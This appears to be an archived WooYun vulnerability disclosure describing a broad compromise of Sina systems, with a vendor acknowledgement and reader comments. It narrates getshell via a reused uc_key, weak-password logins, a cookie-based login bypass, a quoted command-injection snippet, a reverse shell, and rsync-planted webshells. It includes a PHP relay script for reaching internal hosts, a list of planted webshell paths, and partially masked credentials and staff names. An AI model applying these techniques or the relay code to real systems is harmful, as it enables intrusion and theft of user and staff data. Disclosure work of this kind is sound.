当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083508

漏洞标题:新浪漏洞礼包可任意修改微博内容个人信息等

相关厂商:新浪

漏洞作者: Noxxx

提交时间:2014-11-16 20:54

修复时间:2014-12-31 20:56

公开时间:2014-12-31 20:56

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-16: 细节已通知厂商并且等待厂商处理中
2014-11-18: 厂商已经确认,细节仅向厂商公开
2014-11-28: 细节向核心白帽子及相关领域专家公开
2014-12-08: 细节向普通白帽子公开
2014-12-18: 细节向实习白帽子公开
2014-12-31: 细节向公众公开

简要描述:

新浪漏洞礼包

详细说明:

http://***.sina.com.cn/ 这个 在DZ7.2注入爆出来的时候,我把它的 uc_key注入出来了保存了,后来发现这个 uc_key没变,遂getshell
地址:http://***.sina.com.cn/uc_server/data/tmp/a_ok.php
http://123.103.**.**/ 这个admin为弱口令:123456789 遂拿shell
地址:http://123.103.**.**/static/space/t4/space.php
http://**.video.sina.com.cn/ 新浪视频管理平台 弱口令很多。遗憾我只记录了一个。。请自查。

ju***ie:ju***ie


video.png


http://***.video.sina.com.cn/live5/index.php/login 演播室管理系统,爆破之 弱口令很多。遗憾我只记录了一个。。请自查。

lian***a1:lian***a1


live_1.png


http://202.108.*.**:8080/ 投放内容管理系统 爆破之, 弱口令很多。请自查

ad_m_1.png


http://202.106.**.**:8080/index.php 新浪图片过滤审核系统(估计是老系统了)
测试登录发现 登录失败都会 把一些cookie清空掉。于是我自己设置了cookie 然后登录上去了

sina_p_mange.png


sina_p_mange_1.png


http://202.108.**.**/ 这个 存在备份文件:htdocs.tar
下载下来 看了下代码 里面可以执行执行命令

$queryCmd=stripslashes ($_REQUEST['queryCmd']);	
$command.="|$queryCmd";
$resVal=exec($command,$res);


反弹了shell回来.FreeBSD 4.8p..开启代理的使用不了。
于是我看看 上次提交的漏洞那个ip 外网是不能访问了 可是我用它的内网ip正常访问,使用内网的webshell 开启代理了。
检查了上次的rsync的ip发现仍然能访问啊。
rsync 同步过去pub_admin_weibo_com_admin 这个里面一个 一句话。发现可以访问.但是过一会就没了。于是我执行 ifconfig获得ip后,中转了一下顺利的连接上

$post = http_build_query($_POST);
$url = "http://pub.admin.weibo.com/cs.php";
$ip=$_GET['ip'];
echo dfopen($url,0,$post,'',FALSE,$ip);
function dfopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
$return = '';
$matches = parse_url($url);
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].(@$matches['query'] ? '?'.@$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
if($post) {
$out = "POST $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: X\r\n";
$out .= "Host: $host\r\n";
$out .= 'Content-Length: '.strlen($post)."\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cache-Control: no-cache\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
$out .= $post;
} else {
$out = "GET $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
if(!$fp) {
return '';
} else {
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if(!$status['timed_out']) {
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {
break;
}
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
}
@fclose($fp);
return $return;
}
}


管理平台的密码

admin_weibo_data.png


认证登录几乎都是使用ldap认证的,源码里有ldap的密码

ldap_br_3.png


ldap_br_4.png


ldap_br_5.png


漏洞证明:

全部员工的信息..
贴几个密码

mask 区域
*****Sina9*****
*****ckhamh*****


同步了几个shell 地址:

mask 区域
1.http://**.**.**/api/cs.php_
2.http://**.**.**/include/sc.phpip=10.55.40.32_
3.http://**.**.**/include/sc.phpip=10.73.14.45_
4.http://**.**.**/include/sc.phpip=10.13.0.157_
5.http://**.**.**/include/sc.phpip=10.13.0.158_
6.http://**.**.**/include/sc.phpip=10.13.0.160_
7.http://**.**.**/cs.php_
8.http://**.**.**/cs.php_
9.http://**.**.**/cs.php_
10.http://**.**.**/cs.php_
11.http://**.**.**/api/cs.php_
12.http://**.**.**/album/uploads/as.php (上传的)_
13.http://**.**.**/mh.php_
14.http://**.**.**/lib/smarty/internals/core.load_xml.php


svn_1.png


(如果我能找到私匙的话 就能加密回SUB了,不过遗憾没找到。。)
找了一些接口,(还有些接口未测试)
获取任意微博:

weibo_priv_1.jpg


任意修改信息 包括昵称 说明 域名等等...

edit_info_0.png


修改任意已经发送的微博

weibo_edit_0.png


改了一下测试账号

end.png


mask 区域
*****ode*****
***** wang*****
*****liuf*****
*****liuji*****
*****zhangt*****
*****boy*****
*****yingj*****
***** wen*****
*****houw*****
***** sun*****
*****xiy*****
*****tingti*****
***** xi*****
***** chen*****
***** xia*****
***** wan*****
*****yangzh*****
*****jiaoj*****
***** zou*****
***** lik*****
*****sunw*****
***** xia*****
*****xiaow*****
*****xiong*****
*****luol*****
***** yin*****
*****liqi*****
***** hai*****
***** yan*****
***** wang*****
*****cod*****

修复方案:

自查弱口令,和下线一些过期的系统..

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-11-18 00:24

厂商回复:

非常感谢这位安全研究员给我们反馈的安全问题,漏洞已经迅速修复。对于使用特设微博账号@appsecssrc进行安全问题验证再次表示感谢。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-16 21:43 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老,学到老!)

    越权?

  2. 2014-11-16 21:45 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    mark

  3. 2014-11-16 21:50 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    这个屌!

  4. 2014-11-16 23:01 | 咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )

    以马云为例→_→

  5. 2014-11-16 23:28 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @咸鱼翻身 马云没新浪微博,以王思聪为例吧。。

  6. 2014-11-16 23:29 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @px1624 用王思聪的wooyun会被收购的,用自己的吧.

  7. 2014-11-17 10:54 | 咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )

    以德艺双馨为例

  8. 2014-12-31 22:10 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)

    good job

  9. 2014-12-31 23:22 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student of RDFZ.)

    内容很丰富啊。

  10. 2015-01-01 00:11 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    洞主总能发现奇怪 牛逼的东西 思密达 2015国家需要你